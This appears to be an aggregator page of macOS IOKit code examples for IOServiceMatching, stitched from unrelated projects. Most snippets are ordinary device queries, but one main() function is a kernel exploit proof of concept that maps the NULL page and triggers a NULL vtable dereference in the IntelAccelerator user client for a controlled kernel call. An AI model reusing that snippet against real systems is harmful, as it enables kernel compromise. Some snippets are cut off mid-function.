C++ IOServiceMatching函数代码示例

int getPstateInterval(){
	int interval = 200; // default
	io_service_t	IOService  = IOServiceGetMatchingService(0, IOServiceMatching(SERVICE_NAME));
	if ( IOService ){
		CFDictionaryRef CDictionary = (CFDictionaryRef) IORegistryEntryCreateCFProperty(IOService,					
				CFSTR("Characteristics"),kCFAllocatorDefault,0);
		if(CDictionary){
			int n = GetNumber(CFSTR("TimerInterval"), CDictionary);
			if(n)
				interval = n;
		}
		CFRelease(CDictionary);
	}
	return interval;
}

int main(){
  // re map the null page rw

  vm_deallocate(mach_task_self(), 0x0, 0x1000);
  vm_address_t addr = 0;
  vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  kern_return_t err;
  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if (!matching){
    printf("unable to create matching dictionary\n");
    return 0;
  }

  io_service_t ia_service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  if (ia_service == MACH_PORT_NULL){
    printf("unable to get matching service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(ia_service, mach_task_self(), 0x100, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to open user client\n");
    return 0;
  }

  void* token_buf;
  size_t token_buf_size = 0;

  // kernel NULL deref here in IOAccelContext2::clientMemoryForType
  // mov rdi, [r12+1D8h]      ; rdi := NULL
  // mov rax, [rdi]           ; read vtable pointer from NULL
  // call qword ptr [rax+20h] ; controlled call
  err = IOConnectMapMemory(conn, 0, mach_task_self(), &token_buf, &token_buf_size, 1);
  if (err != KERN_SUCCESS){
    printf("unable to map token buffer\n");
    return 0;
  }

  printf("got token buffer: 0x%p size:0x%x\n", token_buf, token_buf_size);

  return 0;
}

static int find_cd_block_devices(io_iterator_t *device_iterator)
{
	mach_port_t master_port;
	CFMutableDictionaryRef matching_dictionary;

	if (IOMasterPort(MACH_PORT_NULL, &master_port) != KERN_SUCCESS)
		return 0;

	matching_dictionary = IOServiceMatching(kIOCDBlockStorageDeviceClass);

	if (IOServiceGetMatchingServices(master_port, matching_dictionary,
					 device_iterator) != KERN_SUCCESS)
		return 0;
	else
		return 1;
}

/* This function performs initialization work to ensure that the connection to
 * the service performing keyboard LED modifications is open. It modifies the
 * io_connect_t connect used throughout the implementation.
 *
 *  UPDATE
 * Renamed by Flávio Caetano in 2015-06-24
 */
void KBLStartLightService() {
  if (conn != 0) return;
    
  kern_return_t kr;
  io_service_t serviceObject;

  // Find a service object for the controller.
  serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault,
    IOServiceMatching("AppleLMUController"));

  // Check a matching service object was found
  if (!serviceObject) {
    fprintf(stderr, "Failed to find service matching \"AppleLMUController\".\
        Ending program.");
    exit(1);
  }

static kern_return_t FindModems(io_iterator_t *matchingServices)
{
    kern_return_t     kernResult; 
    CFMutableDictionaryRef  classesToMatch;
    classesToMatch = IOServiceMatching(kIOSerialBSDServiceValue);
    if (classesToMatch != NULL)
    {
        CFDictionarySetValue(classesToMatch,
                             CFSTR(kIOSerialBSDTypeKey),
                             CFSTR(kIOSerialBSDAllTypes));
    }
    
    kernResult = IOServiceGetMatchingServices(kIOMasterPortDefault, classesToMatch, matchingServices);    
    
    return kernResult;
}

int applydict(CFMutableDictionaryRef dict) {
    int ret = 1;

    io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
    if(!MACH_PORT_VALID(nvram)) {
        ERROR("Failed to get IODTNVRAM service");
    } else {
        kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
        DEBUG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret));
        if(kret == KERN_SUCCESS) {
            ret = 0;
        }
    }

    return ret;
}

static UInt32 execute_command(UInt32 command, UInt32 vendorId, UInt32 codecAddress, UInt32 functionGroup)
{
    io_connect_t dataPort;
    
    CFMutableDictionaryRef dict = IOServiceMatching("CodecCommander");

    //REVIEW_REHABMAN: These extra filters don't work anyway...
    //CFNumberRef vendorIdRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &vendorId);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecVendorID"), vendorIdRef);
    
    //CFNumberRef codecAddressRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &codecAddress);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecAddress"), codecAddressRef);
    
    //CFNumberRef functionGroupRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &functionGroup);
    //CFDictionarySetValue(dict, CFSTR("IOHDACodecFunctionGroupType"), functionGroupRef);
    
    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, dict);
    
    if (!service)
    {
        printf("Could not locate CodecCommander kext, ensure it is loaded.\n");
        return -1;
    }
    
    // Create a connection to the IOService object
    kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &dataPort);
    
    IOObjectRelease(service);
    
    if (kr != kIOReturnSuccess)
    {
        printf("Failed to open CodecCommander service: %08x.\n", kr);
        return -1;
    }
    
    IOItemCount inputCount = 1;
    IOItemCount outputCount = 1;
    UInt64 input = command;
    UInt64 output;
    
    kr = IOConnectCallScalarMethod(dataPort, 0, &input, inputCount, &output, &outputCount);
    
    if (kr != kIOReturnSuccess)
        return -1;
    
    return (UInt32)output;
}

// Scan the FW bus and enumerate the devices
static VALUE scanbus()
{
  VALUE ret = rb_ary_new();
  
  mach_port_t master_port;
  io_iterator_t iterator;
  kern_return_t result = IOMasterPort(MACH_PORT_NULL, &master_port);
  CFMutableDictionaryRef matchingDictionary = IOServiceMatching("IOFireWireDevice");
  result = IOServiceGetMatchingServices(master_port, matchingDictionary, &iterator);
  
  io_object_t device;
  while((device = IOIteratorNext(iterator)))
  {
    CFNumberRef guidRef = IORegistryEntryCreateCFProperty(device, CFSTR("GUID"), NULL, 0);
    CFStringRef vendornameRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Vendor Name"), NULL, 0);
    CFNumberRef speedRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Speed"), NULL, 0);
    CFNumberRef nodeidRef = IORegistryEntryCreateCFProperty(device, CFSTR("FireWire Node ID"), NULL, 0);
    CFNumberRef vendoridRef = IORegistryEntryCreateCFProperty(device, CFSTR("Vendor_ID"), NULL, 0);

    CFIndex vendorname_len = CFStringGetLength(vendornameRef);
    char *vendorname = (char*)malloc(vendorname_len + 1);
    memset(vendorname, 0, vendorname_len);
    long long guid;
    SInt32 speed, vendorid, nodeid;
    if(guidRef
      && CFNumberGetValue(guidRef, kCFNumberLongLongType, &guid)
      && vendornameRef
      && CFStringGetCString(vendornameRef, vendorname, vendorname_len + 1, kCFStringEncodingMacRoman)
      && speedRef
      && CFNumberGetValue(speedRef, kCFNumberSInt32Type, &speed)
      && nodeidRef
      && CFNumberGetValue(nodeidRef, kCFNumberSInt32Type, &nodeid)
      && vendoridRef
      && CFNumberGetValue(vendoridRef, kCFNumberSInt32Type, &vendorid)
      )
    {
      VALUE fwdevice = FWDevice_new(device, guid, vendorname, vendorid, nodeid, speed);
      rb_ary_push(ret, fwdevice);
      CFRelease(guidRef);
      CFRelease(vendornameRef);
      CFRelease(speedRef);
      CFRelease(nodeidRef);
      CFRelease(vendoridRef);
    }
  }
  return ret;
}

static int iokit_find_service_matching (MMCDEV *mmc, io_service_t *servp) {
    CFMutableDictionaryRef matchingDict = IOServiceMatching("IOBDServices");
    io_iterator_t deviceIterator;
    io_service_t service;
    int rc;

    assert (NULL != servp);

    *servp = 0;

    if (!matchingDict) {
        BD_DEBUG(DBG_MMC, "Could not create a matching dictionary for IOBDServices\n");
        return -1;
    }

    /* this call consumes the reference to the matchingDict. we do not need to release it */
    rc = IOServiceGetMatchingServices(kIOMasterPortDefault, matchingDict, &deviceIterator);
    if (kIOReturnSuccess != rc) {
        BD_DEBUG(DBG_MMC, "Could not create device iterator\n");
        return -1;
    }

    while (0 != (service = IOIteratorNext (deviceIterator))) {
        CFStringRef data;
        char name[128] = "";

        data = IORegistryEntrySearchCFProperty (service, kIOServicePlane, CFSTR("BSD Name"),
                                                kCFAllocatorDefault, kIORegistryIterateRecursively);

        if (NULL != data) {
            rc = CFStringGetCString (data, name, sizeof (name), kCFStringEncodingASCII);
            CFRelease (data);
            if (0 == strcmp (name, mmc->bsd_name)) {
                break;
            }
        }

        (void) IOObjectRelease (service);
    }

    IOObjectRelease (deviceIterator);

    *servp = service;

    return (service) ? 0 : -1;
}

static void *media_poll_func(void *)
{
	media_poll_loop = CFRunLoopGetCurrent();

	mach_port_t masterPort;
	kern_return_t kernResult = IOMasterPort(bootstrap_port, &masterPort);
	if (kernResult != KERN_SUCCESS) {
		fprintf(stderr, "IOMasterPort() returned %d\n", kernResult);
		return NULL;
	}

	CFMutableDictionaryRef matchingDictionary = IOServiceMatching(kIOCDMediaClass);
	if (matchingDictionary == NULL) {
		fprintf(stderr, "IOServiceMatching() returned a NULL dictionary\n");
		return NULL;
	}
	matchingDictionary = (CFMutableDictionaryRef)CFRetain(matchingDictionary);

	IONotificationPortRef notificationPort = IONotificationPortCreate(kIOMasterPortDefault);
	CFRunLoopAddSource(media_poll_loop,
					   IONotificationPortGetRunLoopSource(notificationPort),
					   kCFRunLoopDefaultMode);

	io_iterator_t mediaArrivedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOMatchedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_arrived,
												  (void *)MEDIA_CD, &mediaArrivedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_arrived(MEDIA_CD, mediaArrivedIterator);

	io_iterator_t mediaRemovedIterator;
	kernResult = IOServiceAddMatchingNotification(notificationPort,
												  kIOTerminatedNotification,
												  matchingDictionary,
												  (IOServiceMatchingCallback)media_removed,
												  (void *)MEDIA_CD, &mediaRemovedIterator);
	if (kernResult != KERN_SUCCESS)
		fprintf(stderr, "IOServiceAddMatchingNotification() returned %d\n", kernResult);
	media_removed(MEDIA_CD, mediaRemovedIterator);

	CFRunLoopRun();
	return NULL;
}

UIOHOOK_API long int hook_get_pointer_sensitivity() {
	#ifdef USE_IOKIT
	bool successful = false;
	double sensitivity;
	#endif

	long int value = -1;

	#ifdef USE_IOKIT
	if (!successful) {
		io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(kIOHIDSystemClass));

		if (service) {
			kern_return_t kren_ret = kIOReturnError;
			io_connect_t connection;

			kren_ret = IOServiceOpen(service, mach_task_self(), kIOHIDParamConnectType, &connection);
			if (kren_ret == kIOReturnSuccess) {
				// IOByteCount size = sizeof(multiplier);

				kren_ret = IOHIDGetAccelerationWithKey(connection, CFSTR(kIOHIDMouseAccelerationType), &sensitivity);
				if (kren_ret == kIOReturnSuccess) {
					// Calculate the greatest common factor.

					unsigned long denominator = 1000000, d = denominator;
					unsigned long numerator = sensitivity * denominator, gcf = numerator;

					while (d != 0) {
						unsigned long i = gcf % d;
						gcf = d;
						d = i;
					}

					value = numerator / gcf;
					successful = true;

					logger(LOG_LEVEL_INFO,	"%s [%u]: IOHIDGetAccelerationWithKey: %li.\n",
							__FUNCTION__, __LINE__, value);
				}
			}
		}
	}
	#endif

	return value;
}

void CreateMatchingDictionaryForOldMethod(SInt32 peripheralDeviceType, CFMutableDictionaryRef *matchingDict)
{
    SInt32		deviceTypeNumber = peripheralDeviceType;
    CFNumberRef	deviceTypeRef = NULL;
    
    // Set up a matching dictionary to search the I/O Registry by class name for
    // all subclasses of IOSCSIDevice.
    *matchingDict = IOServiceMatching(kIOSCSIDeviceClassName);

    if (*matchingDict != NULL)
    {
        // Add key for device type to refine the matching dictionary. 
        // First create a CFNumber to store in the dictionary.
        deviceTypeRef = CFNumberCreate(kCFAllocatorDefault, kCFNumberIntType, &deviceTypeNumber);
        CFDictionarySetValue(*matchingDict, CFSTR(kSCSIPropertyDeviceTypeID), deviceTypeRef);
    }
}

int
refresh_disks(struct diskstats *stats, pmdaIndom *indom)
{
    io_registry_entry_t		drive;
    CFMutableDictionaryRef	match;
    int				i, status;
    static int			inited = 0;
    static mach_port_t		mach_master_port;
    static io_iterator_t	mach_device_list;

    if (!inited) {
	/* Get ports and services for device statistics. */
	if (IOMasterPort(bootstrap_port, &mach_master_port)) {
	    fprintf(stderr, "%s: IOMasterPort error\n", __FUNCTION__);
	    return -oserror();
	}
	memset(stats, 0, sizeof(struct diskstats));
	inited = 1;
    }

    /* Get an interator for IOMedia objects (drives). */
    match = IOServiceMatching("IOMedia");
    CFDictionaryAddValue(match, CFSTR(kIOMediaWholeKey), kCFBooleanTrue);
    status = IOServiceGetMatchingServices(mach_master_port,
						match, &mach_device_list);
    if (status != KERN_SUCCESS) {
	    fprintf(stderr, "%s: IOServiceGetMatchingServices error\n",
			__FUNCTION__);
	    return -oserror();
    }

    indom->it_numinst = 0;
    clear_disk_totals(stats);
    for (i = 0; (drive = IOIteratorNext(mach_device_list)) != 0; i++) {
	status = update_disk(stats, drive, i);
	if (status)
		break;
	IOObjectRelease(drive);
    }
    IOIteratorReset(mach_device_list);

    if (!status)
	status = update_disk_indom(stats, i, indom);
    return status;
}

SCM ambient_light_range(SCM lower_bound, SCM upper_bound)
{
	io_connect_t ioPort;
	int leftLight, rightLight;
	
	io_service_t serviceObject = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleLMUController"));
	
	if (serviceObject)
	{
		IOServiceOpen(serviceObject, mach_task_self(), 0, &ioPort);
		IOObjectRelease(serviceObject);
	}
	
	IOConnectMethodScalarIScalarO(ioPort, 0, 0, 2, &leftLight, &rightLight);
	
	return scm_from_int(((leftLight+rightLight)/4096.0 > scm_to_double(lower_bound)) && 
						((leftLight+rightLight)/4096.0 < scm_to_double(upper_bound)));
}

io_object_t HIDDevice::findHIDDeviceByName ( const char* targetDeviceName )
{
	CFMutableDictionaryRef subDictionary (
		CFDictionaryCreateMutable ( kCFAllocatorDefault, 0,
                                    &kCFTypeDictionaryKeyCallBacks,
                                    &kCFTypeDictionaryValueCallBacks ) ) ;
	CFStringRef targetDeviceNameValue (
		CFStringCreateWithCString (	kCFAllocatorDefault, targetDeviceName, kCFStringEncodingASCII ) ) ;
	CFDictionarySetValue ( subDictionary, CFSTR ( kIOHIDProductKey ), targetDeviceNameValue ) ;
	
	CFMutableDictionaryRef matchingDictionary ( IOServiceMatching ( kIOHIDDeviceKey ) ) ;
	CFDictionarySetValue ( matchingDictionary, CFSTR ( kIOPropertyMatchKey ), subDictionary ) ;

	CFRelease ( targetDeviceNameValue ) ;
	CFRelease ( subDictionary ) ;
	
	return IOServiceGetMatchingService ( kIOMasterPortDefault, matchingDictionary ) ;
}